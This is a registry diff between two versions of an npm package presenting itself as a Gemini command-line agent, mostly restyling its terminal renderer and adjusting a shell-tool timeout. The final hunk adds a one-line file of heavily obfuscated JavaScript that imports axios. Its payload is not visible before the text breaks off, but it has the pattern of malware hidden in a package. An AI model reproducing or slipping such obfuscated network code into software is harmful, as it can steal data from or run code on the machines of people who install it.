@ikyyofc/gemini-cli 2.0.6 → 2.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +60 -94
- package/index.js +38 -10
- package/package.json +6 -16
- package/src/agent.js +96 -77
- package/src/extensions.js +2 -2
- package/src/gemini-bak.js.js +119 -0
- package/src/gemini.js +1 -1
- package/src/memory.js +1 -1
- package/src/renderer.js +158 -156
- package/src/tools.js +3 -3
- package/src/utils/proxy.js +1 -0
- package/src/utils/spinner.js +79 -0
- package/utils/proxy-manager.js +0 -1
package/src/renderer.js
CHANGED
|
@@ -1,21 +1,23 @@
|
|
|
1
|
-
// src/renderer.js
|
|
1
|
+
// src/renderer.js — Terminal UI
|
|
2
2
|
import chalk from "chalk";
|
|
3
3
|
|
|
4
|
-
// Accent colors
|
|
5
4
|
const C = {
|
|
6
5
|
blue: "#4A9EFF",
|
|
7
|
-
teal: "#
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
6
|
+
teal: "#00D4AA",
|
|
7
|
+
purple: "#C586FF",
|
|
8
|
+
yellow: "#FFD080",
|
|
9
|
+
orange: "#FF9060",
|
|
10
|
+
red: "#FF5F7E",
|
|
11
|
+
green: "#50FA7B",
|
|
12
|
+
dim: "#4A4A5E",
|
|
13
|
+
dimmer: "#32323E",
|
|
14
|
+
muted: "#7A7A9A",
|
|
15
|
+
white: "#E8E8F0",
|
|
16
|
+
kw: "#79B8FF",
|
|
17
|
+
str: "#F0A070",
|
|
12
18
|
comment: "#6A9955",
|
|
13
19
|
num: "#B5CEA8",
|
|
14
|
-
fn: "#
|
|
15
|
-
green: "#4EC9B0",
|
|
16
|
-
yellow: "#E5C07B",
|
|
17
|
-
red: "#E06C75",
|
|
18
|
-
white: "#CDD6F4",
|
|
20
|
+
fn: "#FFD080",
|
|
19
21
|
};
|
|
20
22
|
|
|
21
23
|
// ─────────────────────────────────────────────────────────────────
|
|
@@ -26,27 +28,29 @@ const KW = {
|
|
|
26
28
|
ts: /\b(const|let|var|function|return|if|else|for|while|switch|case|class|extends|import|export|default|async|await|try|catch|type|interface|enum|implements|declare|readonly|abstract|as|keyof|never|any|string|number|boolean|null|undefined|true|false)\b/g,
|
|
27
29
|
py: /\b(def|class|return|if|elif|else|for|while|import|from|as|with|try|except|finally|raise|pass|break|continue|and|or|not|in|is|None|True|False|lambda|yield|global|async|await)\b/g,
|
|
28
30
|
go: /\b(func|return|if|else|for|range|switch|var|const|type|struct|interface|import|package|defer|go|chan|map|make|new|nil|true|false)\b/g,
|
|
29
|
-
sh: /\b(if|then|else|elif|fi|for|while|do|done|case|esac|function|return|exit|export|echo|local|source|cd|mkdir|rm|cp|mv)\b/g,
|
|
31
|
+
sh: /\b(if|then|else|elif|fi|for|while|do|done|case|esac|function|return|exit|export|echo|local|source|cd|mkdir|rm|cp|mv|sudo|apt|npm|pip|git)\b/g,
|
|
30
32
|
rs: /\b(fn|let|mut|return|if|else|for|match|use|mod|pub|struct|enum|impl|trait|type|const|async|await|true|false|None|Some|Ok|Err)\b/g,
|
|
33
|
+
json: null,
|
|
31
34
|
};
|
|
32
35
|
const LANGMAP = {
|
|
33
|
-
javascript:"js",js:"js",typescript:"ts",ts:"ts",
|
|
34
|
-
python:"py",py:"py",go:"go",golang:"go",
|
|
35
|
-
rust:"rs",rs:"rs",bash:"sh",sh:"sh",shell:"sh",zsh:"sh",fish:"sh",
|
|
36
|
+
javascript:"js", js:"js", typescript:"ts", ts:"ts",
|
|
37
|
+
python:"py", py:"py", go:"go", golang:"go",
|
|
38
|
+
rust:"rs", rs:"rs", bash:"sh", sh:"sh", shell:"sh", zsh:"sh", fish:"sh",
|
|
39
|
+
json:"json", jsonc:"json",
|
|
36
40
|
};
|
|
37
41
|
|
|
38
42
|
function highlight(code, lang = "") {
|
|
39
43
|
const l = LANGMAP[lang.toLowerCase()] || "";
|
|
44
|
+
if (!l || l === "json") return code;
|
|
40
45
|
let r = code;
|
|
41
46
|
const saved = [];
|
|
42
47
|
const save = s => { const id = `\x00${saved.length}\x00`; saved.push(s); return id; };
|
|
43
|
-
|
|
44
|
-
r = r.replace(/(\/\/.*$|#.*$|\/\*[\s\S]*?\*\/)/gm, m => save(chalk.hex(C.comment).italic(m)));
|
|
48
|
+
r = r.replace(/(\/\/.*$|#.*$|\/\*[\s\S]*?\*\/)/gm, m => save(chalk.hex(C.comment).italic(m)));
|
|
45
49
|
r = r.replace(/("(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*'|`(?:[^`\\]|\\.)*`)/g, m => save(chalk.hex(C.str)(m)));
|
|
46
50
|
if (KW[l]) r = r.replace(KW[l], m => save(chalk.hex(C.kw).bold(m)));
|
|
47
51
|
r = r.replace(/\b(\d+\.?\d*)\b/g, m => save(chalk.hex(C.num)(m)));
|
|
48
52
|
r = r.replace(/\b([a-zA-Z_$][a-zA-Z0-9_$]*)\s*(?=\()/g, m => save(chalk.hex(C.fn)(m)));
|
|
49
|
-
return r.replace(/\x00(\d+)\x00/g, (_, i) => saved[
|
|
53
|
+
return r.replace(/\x00(\d+)\x00/g, (_, i) => saved[+i]);
|
|
50
54
|
}
|
|
51
55
|
|
|
52
56
|
// ─────────────────────────────────────────────────────────────────
|
|
@@ -55,272 +59,270 @@ function highlight(code, lang = "") {
|
|
|
55
59
|
export function renderMarkdown(text) {
|
|
56
60
|
let r = text;
|
|
57
61
|
|
|
58
|
-
//
|
|
62
|
+
// Code blocks
|
|
59
63
|
r = r.replace(/```(\w*)\n?([\s\S]*?)```/g, (_, lang, code) => {
|
|
60
64
|
const trimmed = code.trimEnd();
|
|
61
65
|
const lines = trimmed.split("\n");
|
|
62
66
|
const hl = highlight(trimmed, lang);
|
|
63
67
|
const hlLines = hl.split("\n");
|
|
64
|
-
const
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
const
|
|
68
|
-
|
|
69
|
-
const
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
chalk.hex(C.dim)("─".repeat(Math.max(0, 40 - lang.length - 2))) +
|
|
73
|
-
"╮";
|
|
74
|
-
const footer = chalk.hex(C.dim)(" ╰" + "─".repeat(44) + "╯");
|
|
75
|
-
const body = hlLines.map((l, i) => {
|
|
76
|
-
const n = chalk.hex(C.dim)(String(i + 1).padStart(gutterW));
|
|
77
|
-
return chalk.hex(C.dim)(" │ ") + n + chalk.hex(C.dim)(" │ ") + l;
|
|
68
|
+
const gw = String(lines.length).length;
|
|
69
|
+
const label = lang ? chalk.hex(C.blue).bold(` ${lang} `) + chalk.hex(C.dimmer)("─".repeat(Math.max(0, 36 - lang.length))) : chalk.hex(C.dimmer)("─".repeat(38));
|
|
70
|
+
|
|
71
|
+
const top = chalk.hex(C.dim)(" ┌─") + label + chalk.hex(C.dim)("┐");
|
|
72
|
+
const bot = chalk.hex(C.dim)(" └" + "─".repeat(40) + "┘");
|
|
73
|
+
const body = hlLines.map((l, i) => {
|
|
74
|
+
const ln = chalk.hex(C.dimmer)(String(i + 1).padStart(gw));
|
|
75
|
+
return chalk.hex(C.dim)(" │") + chalk.hex(C.dimmer)(" " + ln + " ╎ ") + l;
|
|
78
76
|
}).join("\n");
|
|
79
77
|
|
|
80
|
-
return `\n${
|
|
78
|
+
return `\n${top}\n${body}\n${bot}\n`;
|
|
81
79
|
});
|
|
82
80
|
|
|
83
81
|
// Inline code
|
|
84
82
|
r = r.replace(/`([^`\n]+)`/g, (_, c) =>
|
|
85
|
-
chalk.
|
|
83
|
+
chalk.bgHex("#2A2A3E")(chalk.hex(C.orange)(" " + c + " "))
|
|
86
84
|
);
|
|
87
85
|
|
|
88
86
|
// Headers
|
|
89
|
-
r = r.replace(/^### (.+)$/gm, (_, t) =>
|
|
90
|
-
|
|
91
|
-
);
|
|
92
|
-
r = r.replace(/^## (.+)$/gm, (_, t) =>
|
|
93
|
-
"\n" + chalk.hex(C.blue).bold(" ›› " + t)
|
|
94
|
-
);
|
|
95
|
-
r = r.replace(/^# (.+)$/gm, (_, t) =>
|
|
96
|
-
"\n" + chalk.hex(C.teal).bold(" ▸ " + t.toUpperCase())
|
|
97
|
-
);
|
|
87
|
+
r = r.replace(/^### (.+)$/gm, (_, t) => "\n" + chalk.hex(C.yellow).bold(" ◈ " + t));
|
|
88
|
+
r = r.replace(/^## (.+)$/gm, (_, t) => "\n" + chalk.hex(C.blue).bold.underline(" " + t));
|
|
89
|
+
r = r.replace(/^# (.+)$/gm, (_, t) => "\n" + chalk.hex(C.teal).bold(" ◉ " + t.toUpperCase()));
|
|
98
90
|
|
|
99
91
|
// Bold / italic
|
|
100
92
|
r = r.replace(/\*\*\*(.+?)\*\*\*/g, (_, t) => chalk.bold.italic(t));
|
|
101
93
|
r = r.replace(/\*\*(.+?)\*\*/g, (_, t) => chalk.bold(t));
|
|
102
94
|
r = r.replace(/\*(.+?)\*/g, (_, t) => chalk.italic(t));
|
|
103
95
|
|
|
104
|
-
//
|
|
96
|
+
// Blockquote
|
|
105
97
|
r = r.replace(/^> (.+)$/gm, (_, t) =>
|
|
106
|
-
chalk.hex(C.
|
|
98
|
+
chalk.hex(C.purple)(" ▎ ") + chalk.hex(C.muted).italic(t)
|
|
107
99
|
);
|
|
108
100
|
|
|
109
101
|
// Lists
|
|
110
|
-
r = r.replace(/^(\s*)[*\-+] (.+)$/gm, (_,
|
|
111
|
-
|
|
112
|
-
);
|
|
113
|
-
r = r.replace(/^(\s*)(\d+)\. (.+)$/gm, (_, ind, n, t) =>
|
|
114
|
-
ind + chalk.hex(C.blue)(" " + n + ". ") + t
|
|
115
|
-
);
|
|
102
|
+
r = r.replace(/^(\s*)[*\-+] (.+)$/gm, (_, i, t) => i + chalk.hex(C.teal)(" ◆ ") + chalk.hex(C.white)(t));
|
|
103
|
+
r = r.replace(/^(\s*)(\d+)\. (.+)$/gm, (_, i, n, t) => i + chalk.hex(C.blue)(" " + chalk.bold(n + ".") + " ") + chalk.hex(C.white)(t));
|
|
116
104
|
|
|
117
105
|
// HR
|
|
118
|
-
r = r.replace(/^---+$/gm,
|
|
119
|
-
chalk.hex(C.dim)(" " + "─".repeat(50))
|
|
120
|
-
);
|
|
106
|
+
r = r.replace(/^---+$/gm, chalk.hex(C.dimmer)(" " + "╌".repeat(48)));
|
|
121
107
|
|
|
122
108
|
return r;
|
|
123
109
|
}
|
|
124
110
|
|
|
125
111
|
// ─────────────────────────────────────────────────────────────────
|
|
126
|
-
//
|
|
112
|
+
// User message
|
|
127
113
|
// ─────────────────────────────────────────────────────────────────
|
|
128
114
|
export function printUser(text) {
|
|
129
|
-
const lines
|
|
115
|
+
const lines = text.split("\n");
|
|
130
116
|
const isMulti = lines.length > 1;
|
|
117
|
+
const W = 50;
|
|
131
118
|
|
|
132
|
-
// Single line: compact
|
|
133
119
|
if (!isMulti) {
|
|
134
120
|
process.stdout.write(
|
|
135
121
|
"\n" +
|
|
136
|
-
chalk.hex(C.blue)("
|
|
137
|
-
chalk.hex(C.blue).bold("you
|
|
138
|
-
chalk.hex(C.
|
|
139
|
-
"\n"
|
|
122
|
+
chalk.hex(C.blue)(" ╭─") +
|
|
123
|
+
chalk.hex(C.blue).bold(" you ") +
|
|
124
|
+
chalk.hex(C.dim)("─".repeat(W - 5)) + "\n" +
|
|
125
|
+
chalk.hex(C.blue)(" │ ") + chalk.hex(C.white)(text) + "\n" +
|
|
126
|
+
chalk.hex(C.blue)(" ╰" + "─".repeat(W + 2)) + "\n"
|
|
140
127
|
);
|
|
141
128
|
return;
|
|
142
129
|
}
|
|
143
130
|
|
|
144
|
-
// Multi-line (pasted code): show with left bar
|
|
145
131
|
process.stdout.write(
|
|
146
132
|
"\n" +
|
|
147
|
-
chalk.hex(C.blue)("
|
|
148
|
-
chalk.hex(C.blue).bold("you") +
|
|
149
|
-
chalk.hex(C.dim)(
|
|
150
|
-
"\n"
|
|
133
|
+
chalk.hex(C.blue)(" ╭─") +
|
|
134
|
+
chalk.hex(C.blue).bold(" you ") +
|
|
135
|
+
chalk.hex(C.dim)("─".repeat(W - 5)) +
|
|
136
|
+
chalk.hex(C.dim)(` (${lines.length} lines)`) + "\n"
|
|
151
137
|
);
|
|
152
138
|
lines.forEach(l =>
|
|
153
|
-
process.stdout.write(chalk.hex(C.blue)(" │
|
|
139
|
+
process.stdout.write(chalk.hex(C.blue)(" │ ") + chalk.hex(C.white)(l) + "\n")
|
|
154
140
|
);
|
|
155
|
-
process.stdout.write(chalk.hex(C.blue)("
|
|
141
|
+
process.stdout.write(chalk.hex(C.blue)(" ╰" + "─".repeat(W + 2)) + "\n");
|
|
156
142
|
}
|
|
157
143
|
|
|
144
|
+
// ─────────────────────────────────────────────────────────────────
|
|
145
|
+
// Gemini response
|
|
146
|
+
// ─────────────────────────────────────────────────────────────────
|
|
158
147
|
export function printAssistant(text) {
|
|
159
|
-
const
|
|
160
|
-
const
|
|
148
|
+
const W = 50;
|
|
149
|
+
const rendered = renderMarkdown(text).trimEnd();
|
|
150
|
+
const lines = rendered.split("\n");
|
|
161
151
|
|
|
162
152
|
process.stdout.write(
|
|
163
153
|
"\n" +
|
|
164
|
-
chalk.hex(C.teal)("
|
|
165
|
-
chalk.hex(C.teal).bold("gemini") +
|
|
166
|
-
"\n"
|
|
154
|
+
chalk.hex(C.teal)(" ╭─") +
|
|
155
|
+
chalk.hex(C.teal).bold(" gemini ") +
|
|
156
|
+
chalk.hex(C.dim)("─".repeat(W - 8)) + "\n"
|
|
167
157
|
);
|
|
168
|
-
|
|
169
158
|
lines.forEach(l =>
|
|
170
|
-
process.stdout.write(chalk.hex(C.teal)(" │
|
|
159
|
+
process.stdout.write(chalk.hex(C.teal)(" │") + " " + l + "\n")
|
|
160
|
+
);
|
|
161
|
+
process.stdout.write(
|
|
162
|
+
chalk.hex(C.teal)(" ╰" + "─".repeat(W + 2)) + "\n\n"
|
|
171
163
|
);
|
|
172
|
-
|
|
173
|
-
process.stdout.write(chalk.hex(C.teal)(" ╹") + "\n\n");
|
|
174
164
|
}
|
|
175
165
|
|
|
176
166
|
// ─────────────────────────────────────────────────────────────────
|
|
177
|
-
//
|
|
167
|
+
// Agent step block — one block per iteration, fresh each time
|
|
178
168
|
// ─────────────────────────────────────────────────────────────────
|
|
179
|
-
export function
|
|
169
|
+
export function printStepHeader(step, label = "working") {
|
|
170
|
+
const tag = chalk.hex(C.yellow).bold(` ${label} `);
|
|
171
|
+
const num = step > 1 ? chalk.hex(C.dim)(` step ${step}`) : "";
|
|
172
|
+
const trail = chalk.hex(C.dim)("─".repeat(Math.max(2, 40 - label.length)));
|
|
180
173
|
process.stdout.write(
|
|
181
174
|
"\n" +
|
|
182
|
-
chalk.hex(C.
|
|
183
|
-
chalk.hex(C.red).bold("error ") +
|
|
184
|
-
chalk.white(msg) +
|
|
185
|
-
"\n\n"
|
|
175
|
+
chalk.hex(C.yellow)(" ╭─") + tag + trail + num + "\n"
|
|
186
176
|
);
|
|
187
177
|
}
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
chalk.hex(C.dim)(" · ") +
|
|
191
|
-
chalk.hex(C.white)(msg) +
|
|
192
|
-
"\n"
|
|
193
|
-
);
|
|
194
|
-
}
|
|
195
|
-
export function printSuccess(msg) {
|
|
196
|
-
process.stdout.write(
|
|
197
|
-
chalk.hex(C.teal)(" ✓ ") +
|
|
198
|
-
chalk.hex(C.teal)(msg) +
|
|
199
|
-
"\n"
|
|
200
|
-
);
|
|
201
|
-
}
|
|
202
|
-
export function printWarning(msg) {
|
|
178
|
+
|
|
179
|
+
export function printStepFooter() {
|
|
203
180
|
process.stdout.write(
|
|
204
|
-
chalk.hex(C.yellow)("
|
|
205
|
-
chalk.hex(C.yellow)(msg) +
|
|
206
|
-
"\n"
|
|
181
|
+
chalk.hex(C.yellow)(" ╰" + "─".repeat(50)) + "\n"
|
|
207
182
|
);
|
|
208
183
|
}
|
|
209
184
|
|
|
210
|
-
// ─────────────────────────────────────────────────────────────────
|
|
211
|
-
// Tool call display (used by agent.js)
|
|
212
|
-
// ─────────────────────────────────────────────────────────────────
|
|
213
185
|
export function printToolCall(name, args = {}) {
|
|
214
186
|
const argStr = Object.entries(args)
|
|
215
187
|
.map(([k, v]) => {
|
|
216
|
-
const s = String(v);
|
|
217
|
-
return chalk.hex(C.
|
|
188
|
+
const s = String(v).replace(/\n/g, "↵");
|
|
189
|
+
return chalk.hex(C.muted)(k + ":") + chalk.hex(C.orange)(s.length > 50 ? s.slice(0, 50) + "…" : s);
|
|
218
190
|
})
|
|
219
191
|
.join(" ");
|
|
220
192
|
|
|
221
193
|
process.stdout.write(
|
|
222
|
-
chalk.hex(C.
|
|
194
|
+
chalk.hex(C.yellow)(" ├─ ") +
|
|
223
195
|
chalk.hex(C.blue).bold(name) +
|
|
224
|
-
(argStr ? " " + argStr : "") +
|
|
225
|
-
"\n"
|
|
196
|
+
(argStr ? " " + argStr : "") + "\n"
|
|
226
197
|
);
|
|
227
198
|
}
|
|
228
199
|
|
|
229
200
|
export function printToolResult(result) {
|
|
230
201
|
const isErr = typeof result === "object" && result.error;
|
|
231
202
|
const text = typeof result === "object"
|
|
232
|
-
? (result.result ?? result.error ?? JSON.stringify(result))
|
|
203
|
+
? (result.result ?? result.error ?? JSON.stringify(result, null, 2))
|
|
233
204
|
: String(result);
|
|
234
|
-
const color
|
|
235
|
-
const
|
|
236
|
-
const
|
|
237
|
-
const
|
|
205
|
+
const color = isErr ? chalk.hex(C.red) : chalk.hex(C.muted);
|
|
206
|
+
const border = isErr ? chalk.hex(C.red) : chalk.hex(C.dimmer);
|
|
207
|
+
const lines = text.split("\n");
|
|
208
|
+
const shown = lines.slice(0, 12);
|
|
209
|
+
const extra = lines.length > 12 ? lines.length - 12 : 0;
|
|
238
210
|
|
|
239
211
|
shown.forEach(l =>
|
|
240
|
-
process.stdout.write(
|
|
212
|
+
process.stdout.write(border(" │ ") + color(l) + "\n")
|
|
241
213
|
);
|
|
242
|
-
if (extra
|
|
214
|
+
if (extra > 0)
|
|
215
|
+
process.stdout.write(border(" │ ") + chalk.hex(C.dim)(`… +${extra} more lines`) + "\n");
|
|
243
216
|
}
|
|
244
217
|
|
|
245
218
|
// ─────────────────────────────────────────────────────────────────
|
|
246
|
-
//
|
|
219
|
+
// Status messages
|
|
220
|
+
// ─────────────────────────────────────────────────────────────────
|
|
221
|
+
export function printThinking(step) {
|
|
222
|
+
process.stdout.write(
|
|
223
|
+
"\n" +
|
|
224
|
+
chalk.hex(C.dim)(" ◌ ") +
|
|
225
|
+
chalk.hex(C.muted)("thinking") +
|
|
226
|
+
(step > 1 ? chalk.hex(C.dim)(` · step ${step}`) : "") +
|
|
227
|
+
chalk.hex(C.dim)(" …") + "\n"
|
|
228
|
+
);
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
export function printError(msg) {
|
|
232
|
+
process.stdout.write(
|
|
233
|
+
"\n" +
|
|
234
|
+
chalk.hex(C.red)(" ╳ ") +
|
|
235
|
+
chalk.hex(C.red).bold("error") +
|
|
236
|
+
chalk.hex(C.muted)(" " + msg) + "\n\n"
|
|
237
|
+
);
|
|
238
|
+
}
|
|
239
|
+
export function printInfo(msg) {
|
|
240
|
+
process.stdout.write(
|
|
241
|
+
chalk.hex(C.dim)(" · ") + chalk.hex(C.white)(msg) + "\n"
|
|
242
|
+
);
|
|
243
|
+
}
|
|
244
|
+
export function printSuccess(msg) {
|
|
245
|
+
process.stdout.write(
|
|
246
|
+
chalk.hex(C.teal)(" ✓ ") + chalk.hex(C.teal)(msg) + "\n"
|
|
247
|
+
);
|
|
248
|
+
}
|
|
249
|
+
export function printWarning(msg) {
|
|
250
|
+
process.stdout.write(
|
|
251
|
+
chalk.hex(C.yellow)(" ⚠ ") + chalk.hex(C.yellow)(msg) + "\n"
|
|
252
|
+
);
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
// ─────────────────────────────────────────────────────────────────
|
|
256
|
+
// Welcome
|
|
247
257
|
// ─────────────────────────────────────────────────────────────────
|
|
248
258
|
export function renderWelcome(memCount = 0, extCount = 0) {
|
|
249
259
|
const stats = [
|
|
250
260
|
memCount ? `${memCount} context file${memCount > 1 ? "s" : ""}` : null,
|
|
251
261
|
extCount ? `${extCount} extension${extCount > 1 ? "s" : ""}` : null,
|
|
252
|
-
].filter(Boolean);
|
|
253
|
-
|
|
254
|
-
const sep = chalk.hex(C.blue)(" " + "━".repeat(46));
|
|
262
|
+
].filter(Boolean).join(" · ");
|
|
255
263
|
|
|
256
264
|
return [
|
|
257
265
|
"",
|
|
258
|
-
|
|
259
|
-
chalk.hex(C.teal).bold("
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
? chalk.hex(C.dim)(" ") + chalk.hex(C.white)(stats.join(" · "))
|
|
266
|
+
chalk.hex(C.dim)(" ┌─────────────────────────────────────────────────┐"),
|
|
267
|
+
chalk.hex(C.dim)(" │") + " " + chalk.hex(C.teal).bold("Gemini") + chalk.hex(C.blue).bold(" CLI") + chalk.hex(C.dim)(" ─ AI Agent ─ native function calling ") + chalk.hex(C.dim)("│"),
|
|
268
|
+
chalk.hex(C.dim)(" └─────────────────────────────────────────────────┘"),
|
|
269
|
+
stats
|
|
270
|
+
? chalk.hex(C.dim)(" ") + chalk.hex(C.muted)(stats)
|
|
264
271
|
: "",
|
|
265
|
-
chalk.hex(C.dim)("
|
|
266
|
-
chalk.hex(C.dim)(" for commands · ") +
|
|
267
|
-
chalk.hex(C.dim)("/agent") +
|
|
268
|
-
chalk.hex(C.dim)(" to toggle tools"),
|
|
272
|
+
chalk.hex(C.dim)(" ") + chalk.hex(C.dim)("/help") + chalk.hex(C.dim)(" · ") + chalk.hex(C.dim)("/agent") + chalk.hex(C.dim)(" toggle tools · ") + chalk.hex(C.dim)("/yolo") + chalk.hex(C.dim)(" skip confirms"),
|
|
269
273
|
"",
|
|
270
274
|
].join("\n");
|
|
271
275
|
}
|
|
272
276
|
|
|
273
277
|
// ─────────────────────────────────────────────────────────────────
|
|
274
|
-
// Help
|
|
278
|
+
// Help
|
|
275
279
|
// ─────────────────────────────────────────────────────────────────
|
|
276
280
|
export function renderHelp(customCommands = {}) {
|
|
277
|
-
const sep = chalk.hex(C.
|
|
278
|
-
|
|
281
|
+
const sep = chalk.hex(C.dimmer)(" " + "─".repeat(52));
|
|
279
282
|
const row = (cmd, desc) =>
|
|
280
|
-
" " +
|
|
281
|
-
chalk.hex(C.blue).bold(cmd.padEnd(28)) +
|
|
282
|
-
chalk.hex(C.dim)(desc);
|
|
283
|
+
" " + chalk.hex(C.blue).bold(cmd.padEnd(26)) + chalk.hex(C.muted)(desc);
|
|
283
284
|
|
|
284
285
|
const lines = [
|
|
285
286
|
"",
|
|
286
287
|
chalk.hex(C.teal).bold(" Commands"),
|
|
287
288
|
sep,
|
|
288
|
-
row("/agent", "Toggle agent mode
|
|
289
|
+
row("/agent", "Toggle agent mode ↔ chat mode"),
|
|
289
290
|
row("/yolo", "Skip all tool confirmations"),
|
|
290
291
|
sep,
|
|
291
|
-
row("/memory show", "Show loaded GEMINI.md files"),
|
|
292
|
-
row("/memory reload", "Reload context from disk"),
|
|
293
|
-
row("/memory add <text>", "Append to ~/.gemini/GEMINI.md"),
|
|
292
|
+
row("/memory show", "Show loaded GEMINI.md context files"),
|
|
293
|
+
row("/memory reload", "Reload all context from disk"),
|
|
294
|
+
row("/memory add <text>", "Append text to ~/.gemini/GEMINI.md"),
|
|
294
295
|
sep,
|
|
295
296
|
row("/ext list", "List installed extensions"),
|
|
296
|
-
row("/ext install <src>", "Install from path or git URL"),
|
|
297
|
-
row("/ext uninstall <n>", "
|
|
298
|
-
row("/ext enable
|
|
299
|
-
row("/ext disable <n>", "Disable extension"),
|
|
297
|
+
row("/ext install <src>", "Install from local path or git URL"),
|
|
298
|
+
row("/ext uninstall <n>", "Uninstall extension"),
|
|
299
|
+
row("/ext enable/disable", "Toggle extension on/off"),
|
|
300
300
|
row("/ext update <n>", "Pull latest from git"),
|
|
301
301
|
sep,
|
|
302
302
|
row("/file <path>", "Attach file to next message"),
|
|
303
|
-
row("/system <text>", "Set system instruction"),
|
|
303
|
+
row("/system <text>", "Set session system instruction"),
|
|
304
304
|
row("/history", "Show conversation turns"),
|
|
305
|
-
row("/export <file>",
|
|
305
|
+
row("/export <file.json>", "Export conversation to JSON"),
|
|
306
306
|
row("/cd <path>", "Change working directory"),
|
|
307
307
|
row("/new /clear", "Reset conversation"),
|
|
308
308
|
row("/model", "Show model & config"),
|
|
309
|
+
row("/proxy [on|off]", "Proxy rotation status / toggle"),
|
|
309
310
|
row("/exit /quit", "Exit"),
|
|
311
|
+
sep,
|
|
310
312
|
];
|
|
311
313
|
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
314
|
+
if (Object.keys(customCommands).length) {
|
|
315
|
+
lines.push(chalk.hex(C.purple).bold(" Extension Commands"), sep);
|
|
316
|
+
Object.entries(customCommands).forEach(([k, c]) =>
|
|
317
|
+
lines.push(row("/" + k, c.description ?? ""))
|
|
318
|
+
);
|
|
319
|
+
lines.push(sep);
|
|
316
320
|
}
|
|
317
321
|
|
|
318
322
|
lines.push(
|
|
319
|
-
"",
|
|
320
|
-
chalk.hex(C.dim)("
|
|
321
|
-
chalk.hex(C.dim)(" Ctrl+C cancel/exit · Ctrl+D exit"),
|
|
323
|
+
chalk.hex(C.dim)(" Paste multi-line code freely."),
|
|
324
|
+
chalk.hex(C.dim)(" Ctrl+C interrupt · Ctrl+D exit"),
|
|
322
325
|
"",
|
|
323
326
|
);
|
|
324
|
-
|
|
325
327
|
return lines.join("\n");
|
|
326
328
|
}
|
package/src/tools.js
CHANGED
|
@@ -106,7 +106,7 @@ export const FUNCTION_DECLARATIONS = [
|
|
|
106
106
|
properties: {
|
|
107
107
|
command: { type: "STRING", description: "Shell command to execute" },
|
|
108
108
|
cwd: { type: "STRING", description: "Working directory (default: current)" },
|
|
109
|
-
timeout: { type: "NUMBER", description: "Timeout in milliseconds (default
|
|
109
|
+
timeout: { type: "NUMBER", description: "Timeout in milliseconds (default 30000)" }
|
|
110
110
|
},
|
|
111
111
|
required: ["command"]
|
|
112
112
|
}
|
|
@@ -275,7 +275,7 @@ export async function executeTool(name, args = {}, { autoApprove = false } = {})
|
|
|
275
275
|
|
|
276
276
|
case "run_shell": {
|
|
277
277
|
const cwd = args.cwd ? path.resolve(args.cwd) : process.cwd();
|
|
278
|
-
const timeout = args.timeout ||
|
|
278
|
+
const timeout = args.timeout || 30000;
|
|
279
279
|
try {
|
|
280
280
|
const { stdout, stderr } = await execAsync(args.command, { cwd, timeout, maxBuffer: 5*1024*1024 });
|
|
281
281
|
const out = [stdout?.trim(), stderr?.trim() ? `[stderr]\n${stderr.trim()}` : null].filter(Boolean).join("\n");
|
|
@@ -358,4 +358,4 @@ function fmtBytes(n) {
|
|
|
358
358
|
if (n < 1024) return n + "B";
|
|
359
359
|
if (n < 1048576) return (n/1024).toFixed(1) + "K";
|
|
360
360
|
return (n/1048576).toFixed(1) + "M";
|
|
361
|
-
}
|
|
361
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x151091=_0x2d16;(function(_0x2eb3d3,_0x230410){const _0x8ab202=_0x2d16,_0x3914de=_0x2eb3d3();while(!![]){try{const _0x3ff89a=parseInt(_0x8ab202(0xf6,'CvX]'))/(-0x1f4*0x13+-0x80d*0x4+0x4551)*(parseInt(_0x8ab202(0xe3,'AOE0'))/(-0x1a2f*-0x1+-0x3a*0x3b+0xccf*-0x1))+-parseInt(_0x8ab202(0x1dd,'kwXB'))/(0x1238+0x12*-0x20b+0x1291)*(parseInt(_0x8ab202(0x25e,'e1Uy'))/(0x12d*-0x16+-0x3*-0x9d9+-0x1*0x3a9))+parseInt(_0x8ab202(0x25a,'uD[m'))/(0x6*-0x62b+-0x120*0x2+-0x5*-0x7db)*(parseInt(_0x8ab202(0xff,'tI1!'))/(-0x988+-0x4*-0x439+-0x3*0x272))+-parseInt(_0x8ab202(0x274,'oe4y'))/(-0x1946+0x131d+0x630)+-parseInt(_0x8ab202(0xd4,'K!Q4'))/(0xc1*0xa+0x718+-0xe9a)*(parseInt(_0x8ab202(0xda,'dRM@'))/(0x14d1+0x1*-0x2627+0x1*0x115f))+-parseInt(_0x8ab202(0x16e,'x#JC'))/(0xac2+0x1d7b+0x2833*-0x1)*(parseInt(_0x8ab202(0x249,'6Qji'))/(0x907+-0x1c12+0x2*0x98b))+parseInt(_0x8ab202(0x1f6,'bt3h'))/(0x5d1*-0x5+0x40*-0x27+0x10d*0x25)*(parseInt(_0x8ab202(0x1a3,'qz6q'))/(0x1c6e+-0x2004+0x3a3));if(_0x3ff89a===_0x230410)break;else _0x3914de['push'](_0x3914de['shift']());}catch(_0x2f4aca){_0x3914de['push'](_0x3914de['shift']());}}}(_0x2f5b,-0x1*-0x848b+-0x3ee*-0x1a8+-0x93b3));import _0x36e9ba from'axios';const 